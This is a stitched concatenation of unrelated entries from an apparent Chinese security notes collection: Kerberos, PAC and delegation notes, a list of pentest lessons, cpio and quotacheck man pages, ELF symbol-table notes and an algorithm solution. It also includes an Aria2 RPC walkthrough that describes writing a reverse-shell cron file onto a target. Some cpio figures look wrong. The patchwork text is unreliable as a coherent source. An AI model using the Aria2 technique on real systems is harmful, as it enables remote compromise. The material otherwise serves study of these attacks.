- krbtgt 账号的 NTLM Hash 理论上只存在于 KDC 中。这意味着 TGT 只能由 KDC 来解密。如果 krbtgt 账号的 NTLM Hash 泄露了,那么 TGT 就能被解密甚至伪造。伪造的 TGT 叫做黄金票据。
- Ticket 是由服务器计算机本身的 NTLM Hash 加密的,Client 不能解密。如果该 Hash 泄露,那么就可以解密甚至伪造 Ticket。伪造的 Ticket 叫做白银票据。
- 在上述的流程中,涉及到时间戳 timestamp,由于它的存在,才使得被第三方获取了加密信息 Authenticator1 、Authenticator2、TGT 不会在短时间内被暴力破解。timestamp 一般时间为8小时。
- Kerberos 协议和 NTLM 协议都会使用 NTLM Hash 对生成的任意随机数加密,然后比对结果。 Kerberos 的主要区别在于添加了第三方——-KDC 参与到认证过程中。
- Client info 中包含网络地址、Client ID 等信息
---
- 每次交互 Client 可以收到两条消息,一条是可以解密的,一条是无法解密的
- Client 期望访问的服务或者主机从不直接与 KDC 通信
- KDC 存储了其数据库下所有主机和服务的密钥
- 密钥由密码加上一组随机数的哈希值,哈希算法由 Kerberos 的具体实现选择。对于服务和主机而言,其本身是没有密码的。
- 所有密钥存储于 KDC 数据库
- KDC 本身由主密钥加密
- 已经存在 Kerberos 的配置和实现采用公钥加密
---
### PAC
上述为 RFC 规定的 Kerberos 认证授权流程(其中 NTLM Hash 是针对 Windows 举例的),而微软所实现的 Kerberos 工作流程与之则有所不同,其区别的关键就在于,KDC 所返回的 `KRB_AS_REP` 中将包含一组 PAC 的信息。
PAC 的全称是 Privilege Attribute Certificate(特权属性证书)。其中所包含的是各种授权信息,例如用户所属的用户组、用户所具有的权限等。(User SID 和 Groups SID)
为了防止被伪造和串改,在 PAC 中包含有两个数字签名 `PAC_SERVER_CHECKSUM` 和 `PAC_PRIVSVR_CHECKSUM` ,这两个数字签名分别由 Server 端密码 HASH 和 KDC 的密码 HASH 加密。
正如上文所述,当用户与 KDC 之间完成了认证过程之后, 用户需要访问服务器所提供的某项服务时, 服务器为了判断用户是否具有合法的权限必须通过将用户的用户名传递给 KDC, KDC 通过得到的用户名查询用户的用户组信息,用户权限等,进而返回给服务器,服务器再将此信息与用户所索取的资源的 ACL 进行比较, 最后决定是否给用户提供相应的服务。
在 Windows 的 Kerberos 实现中, 默认情况下,`KRB_AS_REP` 信息中将包含一组 PAC 信息,也就是说,用户所得到的 TGT(TicketGranting Ticket)会包含用户的授权信息。用户再用包含有授权信息的 TGT 去申请相应的 Service Ticket,KDC 在收到这个 `KRB_TGS_REQ` 请求的时候, 将 TGT 里的 PAC 信息解析出来, 加入到 Service Ticket 里返回。接下来, 当用户向服务器程序提交 `KRB_AP_REQ` 消息时, 服务器程序则将其中所包含的 PAC 信息传送给操作系统得到一个访问令牌, 并且同时将这个 PAC 的数字签名以 `KRB_VERIFY_PAC` 的消息传输给 KDC, KDC 再将验证这个 PAC 的数字签名的结果以 RPC 返回码的形式告诉服务器, 服务器就可以根据这个结果判断 PAC 数据的真实性和完整性,并做出最后对 `KRB_AP_REQ` 的判断。
- 优点:
- 以后对资源的访问中,服务端再接收到客户的请求的时候不再需要借助 KDC 的帮助提供完整的授权信息来完成对用户权限的判断, 而只需要根据请求中所包含的 PAC 信息直接与本地资源的 ACL 相比较做出裁决。
- 解决 PAC 欺骗,防止攻击者利用篡改的 PAC 信息实现未授权访问
- 缺点:
- PAC 在用户的认证阶段引入会导致认证耗时过长。(Windows Kerberos 客户端会通过 RPC 调用 KDC 上的函数来验证 PAC 信息,这时候用户会观察到在服务器端与 KDC 之间的 RPC 包流量的增加。)
- 由于 PAC 是微软特有的一个特性,所以启用了 PAC 的域中将不支持装有其他操作系统的服务器,制约了域配置的灵活性
---
### SPN
> 使用 Kerberos 的域认证认证服务,需要正确配置 SPN
服务主体名称(SPN:Service Principal Names)是服务实例(可以理解为一个服务,比如HTTP、MSSQL)的唯一标识符(即服务器上所运行服务的唯一标识)
Kerberos 使用 SPN 将服务实例与服务登录帐户相关联。如果在整个域 或 域林中的计算机上安装多个服务实例,则每个实例都必须具有自己的 SPN。如果客户端使用多个名称进行身份验证,则给定的服务实例具有多个 SPN,即每个使用 Kerberos 的服务都需要一个 SPN.
在使用 Kerberos 身份验证的网络中,必须在内置计算机帐户(如 NetworkService 或 LocalSystem)或用户帐户下为服务器注册 SPN。 对于内置帐户,SPN 将自动进行注册。 但是,如果在域用户帐户下运行服务,则必须为要使用的帐户手动注册 SPN。
也就是说, SPN 分为两种:
- 当一个服务的权限为 Local System 或 Network Service,则 SPN 注册在域内机器帐户 (Computers) 下
- 当一个服务的权限为一个域用户,则 SPN 注册在域用户帐户 (Users) 下
SPN 在其注册的域林中必须是唯一的,若不唯一,则身份验证就会失败。
要使用 Active Directory 作为 Kerberos 实现,可以使用 `setspn` 命令来注册 SPN。要运行此命令,必须满足下列条件:
- 必须登录到域控制器
- 必须运行提升了特权的命令提示符(以管理员身份运行)
- 必须是 Domain Admins 组的成员(或者域管理员已授予你适当的许可权)
SNP 由服务类、主机名和端口组成。SPN 的格式:
```
<service type>/<host>:<port>/<DistinguishedName>
// <service type>:服务类型,如LDAP、TERMSRV、SMTP、MSSQL、HTTP
// <host>:服务所在主机名称,可以是FQDN(如data.test.lab、server.test.lab)和NetBIOS名(如data、server)
// <port>:服务端口,若服务运行在默认端口上,则端口号可以省略
// <Distinguished Name>:专有名称
```
通用服务类型 ,可参考 https://adsecurity.org/?page_id=183
举例:
1. 用户 AAA 要访问 MSSQL 服务的资源,进行到 Kerberos 认证的第四步 (TGS-REP) 时,KDC 查询 MSSQL 服务的 SPN.
2. 若该 SPN 注册在机器账户 (Computers) 下,TGS 将会查询数据库中所有机器账户 (Computers) 的 ServicePrincipalName 属性,找到对应的账户,使用该账户的 NTLM Hash 对 `Client/Server Session Key`、`Client Info`(包含 Client ID)、`TimeStamp` 加密得到 `Client-To-Server Ticket`(也称为 ST 票据)。
3. 若查询服务的 SPN 注册在域用户账户 (Users) 下,TGS 将会查询数据库中所有域用户账户 (Users) 的 `ServicePrincipalName` 属性,找到对应的账户,使用该账户的 NTLM Hash 对 Client/Server Session Key、`Client Info`(包含 Client ID)、`TimeStamp` 加密得到 `Client-To-Server Ticket`(也称为 ST 票据).
spn 官方文档: https://docs.microsoft.com/en-us/windows/desktop/AD/service-principal-names
---
### 委派
委派(Delegation):是一种让用户可以委托服务器代表自己与其他服务进行验证的功能,它允许服务账户在活动目录中模拟其他域用户身份,主要用于当服务需要以某个用户的身份来请求访问其他服务资源的场景。比如,在域内,用户 Jack 经过 Kerberos 身份验证访问服务 Web(服务 web 处于域),Web 服务再以 Jack 的身份去请求域中的服务 MSSQL,若 Jack 有权限访问就能访问成功,这种过程就是委派的一个过程。
域委派的4种主要方式:
- 非约束委派
- 表示你授予该帐户权限以委派任何服务,前提是满足启动委派所需的所有其他步骤。
- 从 IT 安全角度来看,此选项最容易配置但安全性最低。
- 约束委派 - 仅限 Kerberos
- 更安全,它将委派任务限制到指定列表,不像非约束委派允许委派给任何服务。
- 与非约束委派相比,需要额外配置。
- 必须确保在帐户上设置 SPN 并添加允许帐户委派的服务。
- 协议转换
- 基于资源的约束委派
用户在 Kerberos 认证中访问服务 A 和服务 B 的过程图:
后改进了这种同一用户访问多服务的过程,实现了 A 服务模拟用户访问 B 服务的过程。
在用户发送一个 ST(图中为 TGS)访问服务时,连同其TGT一起发送,服务 A 使用用户的 TGT 向服务B进行 ST(图中为 TGS),进而简化了用户请求服务 B 资源时验证访问的认证过程。这种就是非约束委派(TrustedForDelegation)的过程:
非约束委派过程中,如果攻击者截获了 Service A 验证的 ST 和 TGT,就可以用它们访问服务 B,进而模拟管理员访问任意服务,漫游内网。
#### 约束委派
为了解决非约束委派的隐患,微软发布了约束委派(S4U2Proxy)。
若服务 A 允许委派给服务B,则 A 能使用 S4U2Proxy 协议将用户发送的 TS(图中的 TGS,TGS 必须是可转发的) 再转发给域控制器认证,为用户请求访问服务 B 的 TS(图中的 TGS)。接着,服务 A 就能使用新获得的 TS(图中的 TGS)模拟用户访问服务 B:
上图中用户是通过 Kerberos 协议与服务 A 进行认证的,而当用户以其他方式(如 NTLM 认证,基于表单的认证等方式)与 Web 服务器进行认证后,用户是无法向 Web 服务器提供请求该服务的 TS(图中的 TGS),因而服务器 A 也无法进一步使用 S4U2Proxy 协议请求访问服务 B。S4U2Self 协议便是解决该问题的方案,被设置为 `TrustedToAuthForDelegation` 的服务能够调用 S4U2Self 向认证服务器为任意用户请求访问自身的可转发的服务票据,此后,便可通过 S4U2Proxy 使用这张 TGS 向域控制器请求访问 B 的票据。这就是协议转换委派(S4U2Self/TrustedToAuthForDelegation):
---
#### 基于资源的约束委派
传统的约束委派中仍然存在一些缺点,如无法进行跨域委派。微软在 Windows Server 2012 中引入了基于资源的约束委派,相对于传统的约束委派,主要有三处改进:
- 委派的权限授予给了拥有资源的后端(B)而不再是前端(A)
- 不再需要域管理员权限设置委派,只需拥有在计算机对象上编辑 `msDS-AllowedToActOnBehalfOfOtherIdentity` 属性的权限
- 委派功能现在可以跨域和林
基于资源的约束委派(Resource-Based Constrained Delegation)是一种允许资源自己去设置哪些账户委派给自己的约束委派。
传统的约束委派是“正向的”,通过修改服务 A 属性 `msDS-AllowedToDelegateTo`,添加服务 B 的 SPN(Service Principle Name),设置约束委派对象(服务 B),服务 A 便可以模拟用户向域控制器请求访问服务B以获得服务票据(TGS)来使用服务 B 的资源。
而基于资源的约束委派则是相反的,通过修改服务 B 属性 `msDS-AllowedToActOnBehalfOfOtherIdentity`,添加服务 A 的 SPN,达到让服务 A 模拟用户访问 B 资源的目的。
---
## Source & Reference
- [深刻理解windows安全认证机制](https://klionsec.github.io/2016/08/10/ntlm-kerberos/)
- [Windows用户密码的加密方法与破解](https://www.sqlsec.com/2019/11/winhash.html#toc-heading-2)
- [Windows下的密码hash——NTLM hash和Net-NTLM hash介绍](https://3gstudent.github.io/3gstudent.github.io/Windows%E4%B8%8B%E7%9A%84%E5%AF%86%E7%A0%81hash-NTLM-hash%E5%92%8CNet-NTLM-hash%E4%BB%8B%E7%BB%8D/)
- [浅学Windows认证](https://b404.xyz/2019/07/23/Study-Windows-Authentication/)
- [技术干货 | Windows认证体系解读](https://mp.weixin.qq.com/s/MhxGey_xVqv12CUJ7P8UjA)
- [彻底理解Windows认证 - 议题解读](https://payloads.online/archivers/2018-11-30/1)
- [NT LAN Manager - Wikipedia](https://en.wikipedia.org/wiki/NT_LAN_Manager)
- [LAN Manager - Wikipedia](https://en.wikipedia.org/wiki/LAN_Manager)
- [Windows内网协议学习NTLM篇之NTLM基础介绍](https://www.anquanke.com/post/id/193149)
- [红队与理论:Credential Relay 与 EPA](https://mp.weixin.qq.com/s/hACLQ4UgdFXDdlB4CKKhXg)
- [NTLM Relay](https://en.hackndo.com/ntlm-relay/)
- [你并不懂 Mimikatz Part 2 - MSCACHE](https://mp.weixin.qq.com/s/mTpYcHebvlERj9ek2_Pu8Q)
- [一文读懂Kerberos认证流程](https://mp.weixin.qq.com/s/tXqKHbygwyE-TgVLWkYQjw)
|
sec-knowleage
|
### [第一课:windows提权-快速查找exp](../Chapter1/1_windows提权-快速查找exp.md)
### [第二课:Linux提权-依赖exp篇](../Chapter1/2_Linux提权-依赖exp篇.md)
### [第三课:Delphi代码审计--项目实战1](../Chapter1/3_Delphi代码审计--项目实战1.md)
### [第四课:Asp代码审计--项目实战2](../Chapter1/4_Asp代码审计--项目实战2.md)
### [第五课:工具介绍-Sqlmap](../Chapter1/5_工具介绍-Sqlmap.md)
### [第六课:反攻的一次溯源--项目实战3](../Chapter1/6_反攻的一次溯源--项目实战3.md)
### [第七课:sql server 常用操作远程桌面语句](../Chapter1/7_sqlServer常用操作远程桌面语句.md)
### [第八课:模拟诉求任务攻击](../Chapter1/8_模拟诉求任务攻击.md)
### [第九课:工具介绍-the-backdoor-factory](../Chapter1/9_工具介绍-the-backdoor-factory.md)
### [第十课:msfvenom常用生成payload命令](../Chapter1/10_msfvenom常用生成payload命令.md)
|
sec-knowleage
|
cpio
===
用来建立、还原备份档的工具程序
## 补充说明
**cpio命令** 主要是用来建立或者还原备份档的工具程序,cpio命令可以复制文件到归档包中,或者从归档包中复制文件。
### 语法
```shell
cpio(选项)
```
### 选项
```shell
-0或--null:接受新增列控制字符,通常配合find指令的“-print0”参数使用;
-a或--rest-access-time:重新设置文件的存取时间;
-A或--append:附加到已存在的备份文档中,且这个备份文档必须存放在磁盘上,而不能放置于磁带机里;
-b或--awap:此参数的效果和同时指定“-ss”参数相同;
-B:将输入/输出的区块大小改成5210Bytes;
-c:使用旧ASCII备份格式;
-C<区块大小>或--io-size=<区块大小>:设置输入/输出的区块大小,单位是Byte;
-d或--make-directories:如有需要cpio会自行建立目录;
-E<范本文件>或--pattern-file=<范本文件>:指定范本文件,其内含有一个或多个范本样式,让cpio解开符合范本条件的文件,格式为每列一个范本样式;
-f或--nonmatching:让cpio解开所有不符合范本条件的文件;
-F<备份档>或--file=<备份档>:指定备份档的名称,用来取代标准输入或输出,也能借此通过网络使用另一台主机的保存设备存取备份档;
-H<备份格式>:指定备份时欲使用的文件格式;
-i或--extract:执行copy-in模式,还原备份档;
-l<备份档>:指定备份档的名称,用来取代标准输入,也能借此通过网络使用另一台主机的保存设备读取备份档;
-k:此参数将忽略不予处理,仅负责解决cpio不同版本间的兼容性问题;
-l或--link:以硬连接的方式取代复制文件,可在copy-pass模式下运用;
-L或--dereference:不建立符号连接,直接复制该连接所指向的原始文件;
-m或preserve-modification-time:不去更改文件的更改时间;
-M<回传信息>或--message=<回传信息>:设置更换保存媒体的信息;
-n或--numeric-uid-gid:使用“-tv”参数列出备份档的内容时,若再加上参数“-n”,则会以用户识别和群组识别码替代拥有者和群组名称列出文件清单;
-o或--create:执行copy-out模式,建立备份档;
-O<备份档>:指定备份档的名称,用来取代标准输出,也能借此通过网络使用另一台主机的保存设备存放备份档;
-p或--pass-through:执行copy-pass模式,略过备份步骤,直接将文件复制到目的目录;
-r或--rename:当有文件名称需要更改时,采用互动模式;
-R<拥有者><:/.><所属群组>或----owner<拥有者><:/.><所属群组> 在copy-in模式还原备份档,或copy-pass模式复制文件时,可指定这些备份,复制的文件的拥有者与所属群组;
-s或--swap-bytes:交换每队字节的内容;
-S或--swap-halfwords:交换每半个字节的内容;
-t或--list:将输入的内容呈现出来;
-u或--unconditional:置换所有文件,不论日期时间的新旧与否,皆不予询问而直接覆盖;
-v或--verbose:详细显示指令的执行过程;
-V或--dot:执行指令时。在每个文件的执行程序前面加上“.”号;
--block-size=<区块大小>:设置输入/输出的区块大小,假如设置数值为5,则区块大小为2500,若设置成10,则区块大小为5120,以此类推;
--force-local:强制将备份档存放在本地主机;
--help:在线帮助;
--no-absolute-filenames:使用相对路径建立文件名称;
--no-preserve-owner:不保留文件的拥有者,谁解开了备份档,那些文件就归谁所有;
-only-verify-crc:当备份档采用CRC备份格式时,可使用这项参数检查备份档内的每个文件是否正确无误;
--quiet:不显示复制了多少区块;
--sparse:倘若一个文件内含有大量的连续0字节,则将此文件存在稀疏文件;
--version:显示版本信息。
```
### 实例
**将`/etc`下的所有普通文件都备份到`/opt/etc.cpio`,使用以下命令:**
```shell
find /etc –type f | cpio –ocvB >/opt/etc.cpio
```
**将系统上所有资料备份到磁带机内,使用以下命令:**
```shell
find / -print | cpio -covB > /dev/st0
```
这里的`/dev/st0`是磁带的设备名,代表SCSI磁带机。
**查看上例磁带机上备份的文件,使用以下命令:**
```shell
cpio -icdvt < /dev/st0 > /tmp/st_content
```
有时可能因为备份的文件过多,一个屏幕无法显示完毕,此时我们利用下面命令,让磁带机的文件信息输出到文件。
**将示例1中的备份包还原到相应的位置,如果有相同文件进行覆盖,使用以下命令:**
```shell
cpio –icduv < /opt/etc.cpio
```
注意,cpio恢复的路径,如果cpio在打包备份的时候用的是绝对路径,那么在恢复的时候会自动恢复到这些绝对路径下,本例就会将备份文件全部还原到/etc路径下对应的目录中。同理,如果在打包备份用的是相对路径,还原时也将恢复到相对路径下。
通过上面的示例,可以看出,cpio无法直接读取文件,它需要每个文件或者目录的完整路径名才能识别读取,而find命令的输出刚好做到了这点,因此,cpio命令一般和find命令配合使用。其实,上面的示例我们已经看到了它们的组合用法。
|
sec-knowleage
|
# Aria2 Arbitrary File Write Vulnerability
[中文版本(Chinese version)](README.zh-cn.md)
Aria2 is a lightweight, multi-protocol, multi-source download tool (supports HTTP/HTTPS, FTP, BitTorrent, Metalink) with built-in XML-RPC and JSON-RPC interfaces.
We can use the RPC interface to operate aria2 and download files to any directory, causing an arbitrary file write vulnerability.
Reference article:
- https://paper.seebug.org/120/
## Vulnerable Environment
Start the vulnerable environment:
```
docker compose up -d
```
6800 is the default port of aria2's rpc service. After the environment is started, access `http://your-ip:6800/`, and the service should return a 404 page.
## Exploit
Because rpc communication requires json or xml, it is not convenient, so we can use a third-party UI to communicate with the target, such as http://binux.github.io/yaaw/demo/
Open yaaw, click the configure button and fill in the target domain name running aria2: `http://your-ip:6800/jsonrpc`:

Then click "Add +" to add a new download task. Fill in the "Dir" field with directory you want your file to be downloaded to and fill in the "File Name" field with the desired file name . For example, we will download a reverse shell by writing a crond task:

At this time, arai2 will download the malicious file (the URL you specified) to the /etc/cron.d/ directory, with the file name "shell". In debian, all files in the /etc/cron.d directory will be read as a scheduled task configuration file (like crontab). Once written we can must wait for upto a minute before the reverse shell script is executed:

> If the reverse shell is unsuccessful, note the format of the crontab file, and the newline must be `\n`, and a newline is required at the end of the file.
Of course, we can also try to write other files, for more ways to exploit this vulnerability please refer to [this article][1]
[1]: https://paper.seebug.org/120/
|
sec-knowleage
|
.TH quotacheck 8 "Mon Jul 17 2000"
.SH NAME
quotacheck \- 扫描文件系统,创建,检测并修补配额文件
.SH 总览(SYNOPSIS)
.B quotacheck
[
.B -agucfinvdFR
]
.I filesystem
.br
.SH 描述(DESCRIPTION)
.B quotacheck
察看每一个文件系统,建立当前磁盘使用情况表,并将
此表与配额文件中相应内容比较(如果使用了选项
.B \-c
, 这一步将省略).如果发现任何不一致,同时更新配额文件和当前
不正确的系统配额拷贝(只有当选择使用配额的文件系统时,才更新
后者).在缺省状态下,只选择用户配额.
.PP
.B quotacheck
要求每个被检测的文件系统在其根目录中都有名为
.I aquota.user
和
.I aquota.group
的配额文件.如果上述文件不存在,
.B quotacheck
将创建它(们).
.PP
.B quotacheck
通常在系统启动的时候由位于
.I /etc/init.d
的初始化脚本在 quotaon(8) 建立磁盘配额之前运行.
.PP
强烈建议在运行
.B quotacheck
之前关掉配额,卸载文件系统或者将其设为只读模式,否则会出现
配额损坏.
.br
.B quotacheck
在开始扫描之前,会尝试以只读模式装配各文件系统. 当扫描完
成时,它会以读写模式重新装配文件系统.你可以用-F选项使
.B quotacheck
在尝试以只读模式重新装配文件系统失败之后继续运行.
.PP
完成扫描所需要的时间与磁盘的使用程度成正比.
.SH 选项(OPTIONS)
.TP
.B \-v
.B quotacheck
在运行时报告其每一项操作.在缺省状态下不报告.
.TP
.B \-d
进入调试状态.这会产生许多用于调试程序的信息.输出的信息
非常详尽,而扫描速度会减慢.
.TP
.B \-a
如果用它取代任何文件系统的名字,
.B quotacheck
将检测所有在
.I /etc/mtab
中列为可读写的文件系统的配额.在缺省状态下,只有在
.I /etc/mtab
中被列为配额的文件系统才会被检测.
.TP
.B \-u
只检测在
.I /etc/mtab
列出或指定的文件系统中的用户配额.这是缺省状态下采取的行动.
.TP
.B \-g
只检测在
.I /etc/mtab
中列出或制定的文件系统中的组配额
.TP
.B \-c
不读已经存在的配额文件.执行一次新的扫描,并且把结果保存到磁盘上.
.TP
.B \-f
强制检测所有使用配额的文件系统.不推荐使用该选项,因为其产生的
配额文件可能会不同步.
.TP
.B \-F
强制在可读写状态下检测文件系统.当使用该选项时,请先确定在对文件
系统进行扫描的时候,没有进程需要对该文件系统写入数据.
.TP
.B \-R
当与
.B \-a
一起使用时,检测除根(root)文件系统外的其他所有文件系统.
.TP
.B \-i
交互模式.在缺省状态下,
.B quotacheck
在发现错误后即退出.在交互模式下,用户会被问取建议.
参考选项
.BR \-n .
.TP
.B \-n
有时候对同一个ID会找到多个结果. 通常遇到这种情况
.B quotacheck
就终止运行.该选项强制使用第一个结果(该选项在交互模式下同样有效).
.SH 注意 (NOTE)
.B quotacheck
应该只能由超级用户执行.因为未授权用户通常不能读
一个给定文件系统上的所有目录.
.SH 参见(SEE ALSO)
.BR quota (1),
.BR quotactl (2),
.BR fstab (5),
.BR quotaon (8),
.BR repquota (8),
.BR convertquota (8),
.BR setquota (8),
.BR edquota (8),
.BR fsck (8),
.BR efsck (8),
.BR e2fsck (8),
.BR xfsck (8)
.SH 文件(FILES)
.B aquota.user
与用户配额位于文件系统根目录
.br
.B aquota.group
与组配额位于文件系统根目录
.br
.B /etc/mtab
是已装配文件系统表.
.SH 作者(AUTHOR)
Jan Kara \<jack@atrey.karlin.mff.cuni.cz\>
.br
基于旧版
.B quotacheck
作者:
.br
Edvard Tuinder \<ed@elm.net\>
.br
Marco van Wieringen \<mvw@planets.elm.net\>
|
sec-knowleage
|
### .symtab: Symbol Table概述
每个目标文件都会有一个符号表,熟悉编译原理的就会知道,在编译程序时,必须有相应的结构来管理程序中的符号以便于对函数和变量进行重定位。
此外,链接本质就是把多个不同的目标文件相互“粘”在一起。实际上,目标文件相互粘合是目标文件之间对地址的引用,即函数和变量的地址的相互引用。而在粘合的过程中,符号就是其中的粘合剂。
目标文件中的符号表包含了**一些通用的符号**,这部分信息在进行了 `strip` 操作后就会消失。这些符号信息可能包括变量名、函数名。
符号表可以被视为一个数组,数组中的每一个元素都是一个结构体,具体如下
```c
typedef struct
{
Elf32_Word st_name; /* Symbol name (string tbl index) */
Elf32_Addr st_value; /* Symbol value */
Elf32_Word st_size; /* Symbol size */
unsigned char st_info; /* Symbol type and binding */
unsigned char st_other; /* Symbol visibility */
Elf32_Section st_shndx; /* Section index */
} Elf32_Sym;
```
每个字段的含义如下
| 字段 | 说明 |
| -------- | ------------------------------------------------------------ |
| st_name | 符号在字符串表中对应的索引。如果该值非 0,则它表示了给出符号名的字符串表索引,否则符号表项没有名称。 注:外部 C 符号在 C 语言和目标文件的符号表中具有相同的名称。 |
| st_value | 给出与符号相关联的数值,具体取值依赖于上下文,可能是一个正常的数值、一个地址等等。 |
| st_size | 给出对应符号所占用的大小。如果符号没有大小或者大小未知,则此成员为0。 |
| st_info | 给出符号的类型和绑定属性。之后会给出若干取值和含义的绑定关系。 |
| st_other | 目前为 0,其含义没有被定义。 |
| st_shndx | 如果符号定义在该文件中,那么该成员为符号所在节在节区头部表中的下标;如果符号不在本目标文件中,或者对于某些特殊的符号,该成员具有一些特殊含义。 |
其中,符号表中下标 0 存储了符号表的一个元素,同时这个元素也相对比较特殊,作为所有未定义符号的索引,具体如下
| 名称 | 取值 | 说明 |
| -------- | ---- | ---------------- |
| st_name | 0 | 无名称 |
| st_value | 0 | 0 值 |
| st_size | 0 | 无大小 |
| st_info | 0 | 无类型,局部绑定 |
| st_other | 0 | 无附加信息 |
| st_shndx | 0 | 无节区 |
### st_value概述
在 Linux 的 ELF 文件中,具体说明如下
1. 该符号对应着一个变量,那么表明该变量在内存中的偏移。我们可由这个值获取其文件偏移
1. 获取该符号对应的 `st_shndx`,进而获取到相关的节区。
2. 根据节区头元素可以获取节区的虚拟基地址和文件基地址。
3. value-内存基虚拟地址=文件偏移-文件基地址
2. 该符号对应着一个函数,那么表明该函数在文件中的起始地址。
### st_info概述
st_info 中包含符号类型和绑定信息,这里给出了控制它的值的方式具体信息如下
```
#define ELF32_ST_TYPE(i) ((i)&0xf)
#define ELF32_ST_INFO(b, t) (((b)<<4) + ((t)&0xf))
```
### Symbol Type概述
可以看出 st_info 的低 4 位表示符号的类型,具体定义如下
| 名称 | 取值 | 说明 |
| -------------------------- | ----- | ------------------------------------------------------------ |
| STT_NOTYPE | 0 | 符号的类型没有定义。 |
| STT_OBJECT | 1 | 符号与某个数据对象相关,比如一个变量、数组等等。 |
| STT_FUNC | 2 | 符号与某个函数或者其他可执行代码相关。 |
| STT_SECTION | 3 | 符号与某个节区相关。这种类型的符号表项主要用于重定位,通常具有 STB_LOCAL 绑定。 |
| STT_FILE | 4 | 一般情况下,符号的名称给出了生成该目标文件相关的源文件的名称。如果存在的话,该符号具有 STB_LOCAL 绑定,其节区索引是 SHN_ABS 且优先级比其他`STB_LOCAL`符号高。 |
| `STT_LOPROC`~`STT_HIPROC` | 13~15 | 保留用于特定处理器 |
共享目标文件中的函数符号有比较特殊,当另一个目标文件从共享目标文件中引用一个函数时,链接器自动为被引用符号创建过程链接表项。共享目标中除了`STT_FUNC` , 其它符号将不会通过过程链接表自动被引用。
如果一个符号的值指向节内的特定位置,则它的节索引号 `st_shndx`,包含了它在节头表中的索引。当一个节在重定位过程中移动时,该符号值也做相应改变,对该符号的引用继续指向程序中的相同位置。有些特定节索引值具有其他语义。
### Symbol Binding概述
根据 `#define ELF32_ST_BIND(i) ((i)>>4)` 可以看出 st_info 的高 4 位表示符号绑定的信息。而这部分信息确定了符号的链接可见性以及其行为,具体的取值如下
| 名称 | 取值 | 说明 |
| ----------------------- | ---- | ------------------------------------------------------------ |
| STB_LOCAL | 0 | 表明该符号为局部符号,在包含该符号定义的目标文件以外不可见。相同名称的局部符号可以存在于多个文件中,互不影响。 |
| STB_GLOBAL | 1 | 表明该符号为全局符号,对所有将被组合在一起的目标文件都是可见的。一个文件中对某个全局符号的定义将满足另一个文件对相同全局符号的未定义引用。我们称初始化非零变量的全局符号为强符号,只能定义一次。 |
| STB_WEAK | 2 | 弱符号与全局符号类似,不过它们的定义优先级比较低。 |
| STB_LOPROC ~STB_HIPROC | 13 | 这个范围的取值是保留给处理器专用语义的。 |
在每个符号表中,所有具有 STB_LOCAL 绑定的符号都优先于弱符号和全局符号。符号表节区中的 sh_info 项所对应的头部的成员包含第一个非局部符号的符号表索引。
此外,全局符号与弱符号的主要区别如下:
- 当链接器在链接多个可重定位目标文件时,不允许定义多个相同名字的 `STB_GLOBAL` 符号。另一方面,如果存在一个已定义全局符号,则同名的弱符号的存在不会引起错误。链接器会优先选择全局定义,忽略弱符号定义。类似的,如果一个公共符号存在(`st_shndx`域为`SHN_COMMON`的符号),则同名的弱符号的存在不会引起错误。链接器会选择公共定义,忽略弱符号定义。
- 当链接器寻找文件库时,它会提取包含未定义全局符号的成员,可能是一个全局符号或者弱符号。链接器不会为了解决未定义的弱符号问题而提取文件,未定义的弱符号的值为0。
### 符号取值概述
不同的目标文件类型对符号表项中 st_value 成员的解释不同:
- 在可重定位文件中,st_value 保存了节区索引为 SHN_COMMON 的符号的对齐约束。
- 在可重定位文件中,st_value 保存了已定义符号的节区偏移。也就是说,st_value保留了st_shndx 所标识的节区的头部到符号位置的偏移。
- 在可执行和共享目标文件中,st_value 包含一个虚地址。为了使得这些文件的符号对动态链接器更有用,节区偏移(针对文件的解释)给出了与节区号无关的虚拟地址(针对内存的解释)。
符号表取值在不同的目标文件中具有相似的含义,可以有适当的程序可以采取高效的方法来访问数据。
### st_shndx概述
特殊的索引及其意义如下
- SHN_ABS: 符号的取值具有绝对性,不会因为重定位而发生变化。
- SHN_COMMON: 符号标记了一个尚未分配的公共块。符号的取值给出了对齐约束,与节区的 sh_addralign 成员类似。就是说,链接编辑器将在地址位于 st_value 的倍数处为符号分配空间。符号的大小给出了所需要的字节数。
- SHN_UNDEF: 此索引值表示符号没有定义。当链接编辑器将此目标文件与其他定义了该符号的目标文件进行组合时,此文件中对该符号的引用将被链接到实际定义的位置。
### 字符串定位方式
那么对于一个符号来说如何定位其对应字符串的地址呢?具体步骤如下
1. 根据 Section Header Table 中符号节头中的 `sh_link` 获取该符号节中对应符号字符串节在 `Section Header Table` 中的下标。进而我们就可以获取对应符号节的地址。
2. 根据该符号的定义中的 st_name 获取该符号的偏移,即在对应符号节中的偏移。
3. 根据上述两者就可以定位一个符号对应的字符串的地址了。
|
sec-knowleage
|
# 11. 旋转数组的最小数字
## 题目链接
[牛客网](https://www.nowcoder.com/practice/9f3231a991af4f55b95579b44b7a01ba?tpId=13&tqId=11159&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking&from=cyc_github)
## 题目描述
把一个数组最开始的若干个元素搬到数组的末尾,我们称之为数组的旋转。输入一个非递减排序的数组的一个旋转,输出旋转数组的最小元素。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/0038204c-4b8a-42a5-921d-080f6674f989.png" width="210px"> </div><br>
## 解题思路
将旋转数组对半分可以得到一个包含最小元素的新旋转数组,以及一个非递减排序的数组。新的旋转数组的长度是原数组的一半,从而将问题规模减少了一半,这种折半性质的算法的时间复杂度为 O(log<sub>2</sub>N)。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/424f34ab-a9fd-49a6-9969-d76b42251365.png" width="300px"> </div><br>
此时问题的关键在于确定对半分得到的两个数组哪一个是旋转数组,哪一个是非递减数组。我们很容易知道非递减数组的第一个元素一定小于等于最后一个元素。
通过修改二分查找算法进行求解(l 代表 low,m 代表 mid,h 代表 high):
- 当 nums[m] \<= nums[h] 时,表示 [m, h] 区间内的数组是非递减数组,[l, m] 区间内的数组是旋转数组,此时令 h = m;
- 否则 [m + 1, h] 区间内的数组是旋转数组,令 l = m + 1。
```java
public int minNumberInRotateArray(int[] nums) {
if (nums.length == 0)
return 0;
int l = 0, h = nums.length - 1;
while (l < h) {
int m = l + (h - l) / 2;
if (nums[m] <= nums[h])
h = m;
else
l = m + 1;
}
return nums[l];
}
```
